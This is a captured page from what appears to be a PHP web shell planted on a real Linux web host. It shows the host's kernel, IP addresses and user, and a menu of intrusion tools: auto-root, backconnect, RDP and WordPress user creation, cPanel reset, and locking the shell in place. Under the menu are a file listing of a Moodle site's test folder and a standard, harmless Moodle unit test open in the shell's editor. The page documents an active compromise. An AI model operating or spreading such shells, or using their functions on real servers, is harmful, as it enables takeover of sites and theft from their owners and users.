Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.196
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-r--r--
accesslib_test.php
215.8
KB
-rw-r--r--
adhoc_task_test.php
18.44
KB
-rw-r--r--
adminlib_test.php
4.38
KB
-rw-r--r--
admintree_test.php
17.22
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-r--r--
analysers_test.php
13.35
KB
-rw-r--r--
antivirus_test.php
8.68
KB
-rw-r--r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-r--r--
calendar_cron_task_test.php
2.69
KB
-rw-r--r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.25
KB
-rw-r--r--
completionlib_test.php
46.83
KB
-rw-r--r--
component_test.php
40.16
KB
-rw-r--r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native.php
6.3
KB
-rw-r--r--
core_media_player_native_test....
6.3
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-r--r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.79
KB
-rw-r--r--
customcontext_test.php
3.66
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
41.96
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-r--r--
editorlib_test.php
2.01
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
14.52
KB
-rw-r--r--
event_test.php
41.06
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
events_test.php
16.17
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.59
KB
-rw-r--r--
filelib_test.php
70.81
KB
-rw-r--r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.37
KB
-rw-r--r--
filterlib_test.php
35.91
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.53
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-r--r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.4
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-r--r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
indicators_test.php
16.38
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-r--r--
message_test.php
12.43
KB
-rw-r--r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-r--r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-r--r--
moodle_page_test.php
29.58
KB
-rw-r--r--
moodle_url_test.php
12.83
KB
-rw-r--r--
moodlelib_test.php
213.97
KB
-rw-r--r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.7
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-r--r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
9.99
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
28.44
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
persistent_test.php
19.44
KB
-rw-r--r--
plugin_manager_test.php
27.26
KB
-rw-r--r--
portfoliolib_test.php
8.41
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.5
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-r--r--
regex_test.php
1.88
KB
-rw-r--r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.89
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
24.16
KB
-rw-r--r--
scss_test.php
4.48
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
12.39
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
20.69
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-r--r--
tablelib_test.php
23.48
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.59
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-r--r--
theme_config_test.php
9.41
KB
-rw-r--r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-r--r--
user_menu_test.php
3.82
KB
-rw-r--r--
user_test.php
32.33
KB
-rw-r--r--
useragent_test.php
83.88
KB
-rw-r--r--
weblib_format_text_test.php
12.05
KB
-rw-r--r--
weblib_test.php
35.06
KB
-rw-r--r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : moodle_page_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for the moodle_page class. * * @package core * @category phpunit * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/pagelib.php'); require_once($CFG->libdir . '/blocklib.php'); class core_moodle_page_testcase extends advanced_testcase { /** * @var testable_moodle_page */ protected $testpage; public function setUp(): void { parent::setUp(); $this->resetAfterTest(); $this->testpage = new testable_moodle_page(); } public function test_course_returns_site_before_set() { global $SITE; // Validated. $this->assertSame($SITE, $this->testpage->course); } public function test_setting_course_works() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertEquals($course, $this->testpage->course); } public function test_global_course_and_page_course_are_same_with_global_page() { global $COURSE, $PAGE; // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $PAGE = $this->testpage; // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($COURSE, $this->testpage->course); } public function test_global_course_not_changed_with_non_global_page() { global $COURSE; $originalcourse = $COURSE; // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($originalcourse, $COURSE); } public function test_cannot_set_course_once_theme_set() { // Setup fixture. $this->testpage->force_theme(theme_config::DEFAULT_THEME); $course = $this->getDataGenerator()->create_course(); // Exercise SUT. $this->expectException(coding_exception::class); $this->testpage->set_course($course); } public function test_cannot_set_category_once_theme_set() { // Setup fixture. $this->testpage->force_theme(theme_config::DEFAULT_THEME); // Exercise SUT. $this->expectException(coding_exception::class); $this->testpage->set_category_by_id(123); } public function test_cannot_set_category_once_course_set() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $this->testpage->set_course($course); // Exercise SUT. $this->expectException(coding_exception::class); $this->testpage->set_category_by_id(123); } public function test_categories_array_empty_for_front_page() { global $SITE; // Setup fixture. $this->testpage->set_context(context_system::instance()); // Avoid trying to set the context. $this->testpage->set_course($SITE); // Exercise SUT and validate. $this->assertEquals(array(), $this->testpage->categories); } public function test_set_state_normal_path() { $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); $this->testpage->set_course($course); $this->assertEquals(moodle_page::STATE_BEFORE_HEADER, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_PRINTING_HEADER); $this->assertEquals(moodle_page::STATE_PRINTING_HEADER, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_IN_BODY); $this->assertEquals(moodle_page::STATE_IN_BODY, $this->testpage->state); $this->testpage->set_state(moodle_page::STATE_DONE); $this->assertEquals(moodle_page::STATE_DONE, $this->testpage->state); } public function test_set_state_cannot_skip_one() { // Exercise SUT. $this->expectException(coding_exception::class); $this->testpage->set_state(moodle_page::STATE_IN_BODY); } public function test_header_printed_false_initially() { // Validated. $this->assertFalse($this->testpage->headerprinted); } public function test_header_printed_becomes_true() { $course = $this->getDataGenerator()->create_course(); $this->testpage->set_context(context_system::instance()); $this->testpage->set_course($course); // Exercise SUT. $this->testpage->set_state(moodle_page::STATE_PRINTING_HEADER); $this->testpage->set_state(moodle_page::STATE_IN_BODY); // Validated. $this->assertTrue($this->testpage->headerprinted); } public function test_set_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $context = context_course::instance($course->id); // Exercise SUT. $this->testpage->set_context($context); // Validated. $this->assertSame($context, $this->testpage->context); } public function test_pagetype_defaults_to_script() { global $SCRIPT; // Exercise SUT and validate. $SCRIPT = '/index.php'; $this->testpage->initialise_default_pagetype(); $this->assertSame('site-index', $this->testpage->pagetype); } public function test_set_pagetype() { // Exercise SUT. $this->testpage->set_pagetype('a-page-type'); // Validated. $this->assertSame('a-page-type', $this->testpage->pagetype); } public function test_initialise_default_pagetype() { // Exercise SUT. $this->testpage->initialise_default_pagetype('admin/tool/unittest/index.php'); // Validated. $this->assertSame('admin-tool-unittest-index', $this->testpage->pagetype); } public function test_initialise_default_pagetype_fp() { // Exercise SUT. $this->testpage->initialise_default_pagetype('index.php'); // Validated. $this->assertSame('site-index', $this->testpage->pagetype); } public function test_get_body_classes_empty() { // Validated. $this->assertSame('', $this->testpage->bodyclasses); } public function test_get_body_classes_single() { // Exercise SUT. $this->testpage->add_body_class('aclassname'); // Validated. $this->assertSame('aclassname', $this->testpage->bodyclasses); } public function test_get_body_classes() { // Exercise SUT. $this->testpage->add_body_classes(array('aclassname', 'anotherclassname')); // Validated. $this->assertSame('aclassname anotherclassname', $this->testpage->bodyclasses); } public function test_url_to_class_name() { $this->assertSame('example-com', $this->testpage->url_to_class_name('http://example.com')); $this->assertSame('example-com--80', $this->testpage->url_to_class_name('http://example.com:80')); $this->assertSame('example-com--moodle', $this->testpage->url_to_class_name('https://example.com/moodle')); $this->assertSame('example-com--8080--nested-moodle', $this->testpage->url_to_class_name('https://example.com:8080/nested/moodle')); } public function test_set_docs_path() { // Exercise SUT. $this->testpage->set_docs_path('a/file/path'); // Validated. $this->assertSame('a/file/path', $this->testpage->docspath); } public function test_docs_path_defaults_from_pagetype() { // Exercise SUT. $this->testpage->set_pagetype('a-page-type'); // Validated. $this->assertSame('a/page/type', $this->testpage->docspath); } public function test_set_url_root() { global $CFG; // Exercise SUT. $this->testpage->set_url('/'); // Validated. $this->assertSame($CFG->wwwroot . '/', $this->testpage->url->out()); } public function test_set_url_one_param() { global $CFG; // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123)); // Validated. $this->assertSame($CFG->wwwroot . '/mod/quiz/attempt.php?attempt=123', $this->testpage->url->out()); } public function test_set_url_two_params() { global $CFG; // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame($CFG->wwwroot . '/mod/quiz/attempt.php?attempt=123&page=7', $this->testpage->url->out()); } public function test_set_url_using_moodle_url() { global $CFG; // Fixture setup. $url = new moodle_url('/mod/workshop/allocation.php', array('cmid' => 29, 'method' => 'manual')); // Exercise SUT. $this->testpage->set_url($url); // Validated. $this->assertSame($CFG->wwwroot . '/mod/workshop/allocation.php?cmid=29&method=manual', $this->testpage->url->out()); } public function test_set_url_sets_page_type() { // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame('mod-quiz-attempt', $this->testpage->pagetype); } public function test_set_url_does_not_change_explicit_page_type() { // Setup fixture. $this->testpage->set_pagetype('a-page-type'); // Exercise SUT. $this->testpage->set_url('/mod/quiz/attempt.php', array('attempt' => 123, 'page' => 7)); // Validated. $this->assertSame('a-page-type', $this->testpage->pagetype); } public function test_set_subpage() { // Exercise SUT. $this->testpage->set_subpage('somestring'); // Validated. $this->assertSame('somestring', $this->testpage->subpage); } public function test_set_heading() { // Exercise SUT. $this->testpage->set_heading('a heading'); // Validated. $this->assertSame('a heading', $this->testpage->heading); // By default formatting is applied and tags are removed. $this->testpage->set_heading('a heading <a href="#">edit</a><p>'); $this->assertSame('a heading edit', $this->testpage->heading); // Without formatting the tags are preserved but cleaned. $this->testpage->set_heading('a heading <a href="#">edit</a><p>', false); $this->assertSame('a heading <a href="#">edit</a><p></p>', $this->testpage->heading); } public function test_set_title() { // Exercise SUT. $this->testpage->set_title('a title'); // Validated. $this->assertSame('a title', $this->testpage->title); } public function test_default_pagelayout() { // Exercise SUT and Validate. $this->assertSame('base', $this->testpage->pagelayout); } public function test_set_pagelayout() { // Exercise SUT. $this->testpage->set_pagelayout('type'); // Validated. $this->assertSame('type', $this->testpage->pagelayout); } public function test_setting_course_sets_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $context = context_course::instance($course->id); // Exercise SUT. $this->testpage->set_course($course); // Validated. $this->assertSame($context, $this->testpage->context); } public function test_set_category_top_level() { global $DB; // Setup fixture. $cat = $this->getDataGenerator()->create_category(); $catdbrecord = $DB->get_record('course_categories', array('id' => $cat->id)); // Exercise SUT. $this->testpage->set_category_by_id($cat->id); // Validated. $this->assertEquals($catdbrecord, $this->testpage->category); $this->assertSame(context_coursecat::instance($cat->id), $this->testpage->context); } public function test_set_nested_categories() { global $DB; // Setup fixture. $topcat = $this->getDataGenerator()->create_category(); $topcatdbrecord = $DB->get_record('course_categories', array('id' => $topcat->id)); $subcat = $this->getDataGenerator()->create_category(array('parent'=>$topcat->id)); $subcatdbrecord = $DB->get_record('course_categories', array('id' => $subcat->id)); // Exercise SUT. $this->testpage->set_category_by_id($subcat->id); // Validated. $categories = $this->testpage->categories; $this->assertCount(2, $categories); $this->assertEquals($topcatdbrecord, array_pop($categories)); $this->assertEquals($subcatdbrecord, array_pop($categories)); } public function test_cm_null_initially() { // Validated. $this->assertNull($this->testpage->cm); } public function test_set_cm() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertEquals($cm->id, $this->testpage->cm->id); } public function test_cannot_set_activity_record_before_cm() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->expectException(coding_exception::class); $this->testpage->set_activity_record($forum); } public function test_setting_cm_sets_context() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertSame(context_module::instance($cm->id), $this->testpage->context); } public function test_activity_record_loaded_if_not_set() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } public function test_set_activity_record() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $this->testpage->set_activity_record($forum); // Validated. unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } public function test_cannot_set_inconsistent_activity_record_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $forum->course = 13; $this->expectException(coding_exception::class); $this->testpage->set_activity_record($forum); } public function test_cannot_set_inconsistent_activity_record_instance() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); $this->testpage->set_cm($cm); // Exercise SUT. $forum->id = 13; $this->expectException(coding_exception::class); $this->testpage->set_activity_record($forum); } public function test_setting_cm_sets_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm); // Validated. $this->assertEquals($course->id, $this->testpage->course->id); } public function test_set_cm_with_course_and_activity_no_db() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // This only works without db if we already have modinfo cache // Exercise SUT. $this->testpage->set_cm($cm, $course, $forum); // Validated. $this->assertEquals($cm->id, $this->testpage->cm->id); $this->assertEquals($course->id, $this->testpage->course->id); unset($forum->cmid); $this->assertEquals($forum, $this->testpage->activityrecord); } public function test_cannot_set_cm_with_inconsistent_course() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $cm->course = 13; $this->expectException(coding_exception::class); $this->testpage->set_cm($cm, $course); } public function test_get_activity_name() { // Setup fixture. $course = $this->getDataGenerator()->create_course(); $forum = $this->getDataGenerator()->create_module('forum', array('course'=>$course->id)); $cm = get_coursemodule_from_id('forum', $forum->cmid); // Exercise SUT. $this->testpage->set_cm($cm, $course, $forum); // Validated. $this->assertSame('forum', $this->testpage->activityname); } public function test_user_is_editing_on() { // We are relying on the fact that unit tests are always run by admin, to // ensure the user_allows_editing call returns true. // Setup fixture. global $USER; $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); $USER->editing = true; // Validated. $this->assertTrue($this->testpage->user_is_editing()); } public function test_user_is_editing_off() { // We are relying on the fact that unit tests are always run by admin, to // ensure the user_allows_editing call returns true. // Setup fixture. global $USER; $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); $USER->editing = false; // Validated. $this->assertFalse($this->testpage->user_is_editing()); } public function test_default_editing_capabilities() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Validated. $this->assertEquals(array('moodle/site:manageblocks'), $this->testpage->all_editing_caps()); } public function test_other_block_editing_cap() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_blocks_editing_capability('moodle/my:manageblocks'); // Validated. $this->assertEquals(array('moodle/my:manageblocks'), $this->testpage->all_editing_caps()); } public function test_other_editing_cap() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_other_editing_capability('moodle/course:manageactivities'); // Validated. $actualcaps = $this->testpage->all_editing_caps(); $expectedcaps = array('moodle/course:manageactivities', 'moodle/site:manageblocks'); $this->assertEquals(array_values($expectedcaps), array_values($actualcaps)); } public function test_other_editing_caps() { $this->testpage->set_context(context_system::instance()); $this->setAdminUser(); // Exercise SUT. $this->testpage->set_other_editing_capability(array('moodle/course:manageactivities', 'moodle/site:other')); // Validated. $actualcaps = $this->testpage->all_editing_caps(); $expectedcaps = array('moodle/course:manageactivities', 'moodle/site:other', 'moodle/site:manageblocks'); $this->assertEquals(array_values($expectedcaps), array_values($actualcaps)); } /** * Test getting a renderer. */ public function test_get_renderer() { global $OUTPUT, $PAGE; $oldoutput = $OUTPUT; $oldpage = $PAGE; $PAGE = $this->testpage; $this->testpage->set_pagelayout('standard'); $this->assertEquals('standard', $this->testpage->pagelayout); // Initialise theme and output for the next tests. $this->testpage->initialise_theme_and_output(); // Check the generated $OUTPUT object is a core renderer. $this->assertInstanceOf('core_renderer', $OUTPUT); // Check we can get a core renderer if we explicitly request one (no component). $this->assertInstanceOf('core_renderer', $this->testpage->get_renderer('core')); // Check we get a CLI renderer if we request a maintenance renderer. The CLI target should take precedence. $this->assertInstanceOf('core_renderer_cli', $this->testpage->get_renderer('core', null, RENDERER_TARGET_MAINTENANCE)); // Check we can get a coures renderer if we explicitly request one (valid component). $this->assertInstanceOf('core_course_renderer', $this->testpage->get_renderer('core', 'course')); // Check a properly invalid component. try { $this->testpage->get_renderer('core', 'monkeys'); $this->fail('Request for renderer with invalid component didn\'t throw expected exception.'); } catch (coding_exception $exception) { $this->assertEquals('monkeys', $exception->debuginfo); } $PAGE = $oldpage; $OUTPUT = $oldoutput; } /** * Tests getting a renderer with a maintenance layout. * * This layout has special hacks in place in order to deliver a "maintenance" renderer. */ public function test_get_renderer_maintenance() { global $OUTPUT, $PAGE; $oldoutput = $OUTPUT; $oldpage = $PAGE; $PAGE = $this->testpage; $this->testpage->set_pagelayout('maintenance'); $this->assertEquals('maintenance', $this->testpage->pagelayout); // Initialise theme and output for the next tests. $this->testpage->initialise_theme_and_output(); // Check the generated $OUTPUT object is a core cli renderer. // It shouldn't be maintenance because there the cli target should take greater precedence. $this->assertInstanceOf('core_renderer_cli', $OUTPUT); // Check we can get a core renderer if we explicitly request one (no component). $this->assertInstanceOf('core_renderer', $this->testpage->get_renderer('core')); // Check we get a CLI renderer if we request a maintenance renderer. The CLI target should take precedence. $this->assertInstanceOf('core_renderer_cli', $this->testpage->get_renderer('core', null, RENDERER_TARGET_MAINTENANCE)); // Check we can get a coures renderer if we explicitly request one (valid component). $this->assertInstanceOf('core_course_renderer', $this->testpage->get_renderer('core', 'course')); try { $this->testpage->get_renderer('core', 'monkeys'); $this->fail('Request for renderer with invalid component didn\'t throw expected exception.'); } catch (coding_exception $exception) { $this->assertEquals('monkeys', $exception->debuginfo); } $PAGE = $oldpage; $OUTPUT = $oldoutput; } public function test_render_to_cli() { global $OUTPUT; $footer = $OUTPUT->footer(); $this->assertEmpty($footer, 'cli output does not have a footer.'); } /** * Validate the theme value depending on the user theme and cohorts. * * @dataProvider get_user_theme_provider */ public function test_cohort_get_user_theme($usertheme, $sitetheme, $cohortthemes, $expected) { global $DB, $PAGE, $USER; $this->resetAfterTest(); // Enable cohort themes. set_config('allowuserthemes', 1); set_config('allowcohortthemes', 1); $systemctx = context_system::instance(); set_config('theme', $sitetheme); // Create user. $user = $this->getDataGenerator()->create_user(array('theme' => $usertheme)); // Create cohorts and add user as member. $cohorts = array(); foreach ($cohortthemes as $cohorttheme) { $cohort = $this->getDataGenerator()->create_cohort(array('contextid' => $systemctx->id, 'name' => 'Cohort', 'idnumber' => '', 'description' => '', 'theme' => $cohorttheme)); $cohorts[] = $cohort; cohort_add_member($cohort->id, $user->id); } // Get the theme and compare to the expected. $this->setUser($user); // Initialise user theme. $USER = get_complete_user_data('id', $user->id); // Initialise site theme. $PAGE->reset_theme_and_output(); $PAGE->initialise_theme_and_output(); $result = $PAGE->theme->name; $this->assertEquals($expected, $result); } /** * Some user cases for validating the expected theme depending on the cohorts, site and user values. * * The result is an array of: * 'User case description' => [ * 'usertheme' => '', // User theme. * 'sitetheme' => '', // Site theme. * 'cohorts' => [], // Cohort themes. * 'expected' => '', // Expected value returned by cohort_get_user_cohort_theme. * ] * * @return array */ public function get_user_theme_provider() { return [ 'User not a member of any cohort' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [], 'expected' => 'boost', ], 'User member of one cohort which has a theme set' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', ], 'expected' => 'classic', ], 'User member of one cohort which has a theme set, and one without a theme' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', '', ], 'expected' => 'classic', ], 'User member of one cohort which has a theme set, and one with a different theme' => [ 'usertheme' => '', 'sitetheme' => 'boost', 'cohorts' => [ 'classic', 'someother', ], 'expected' => 'boost', ], 'User with a theme but not a member of any cohort' => [ 'usertheme' => 'classic', 'sitetheme' => 'boost', 'cohorts' => [], 'expected' => 'classic', ], 'User with a theme and member of one cohort which has a theme set' => [ 'usertheme' => 'classic', 'sitetheme' => 'boost', 'cohorts' => [ 'boost', ], 'expected' => 'classic', ], ]; } } /** * Test-specific subclass to make some protected things public. */ class testable_moodle_page extends moodle_page { public function initialise_default_pagetype($script = null) { parent::initialise_default_pagetype($script); } public function url_to_class_name($url) { return parent::url_to_class_name($url); } public function all_editing_caps() { return parent::all_editing_caps(); } }
Close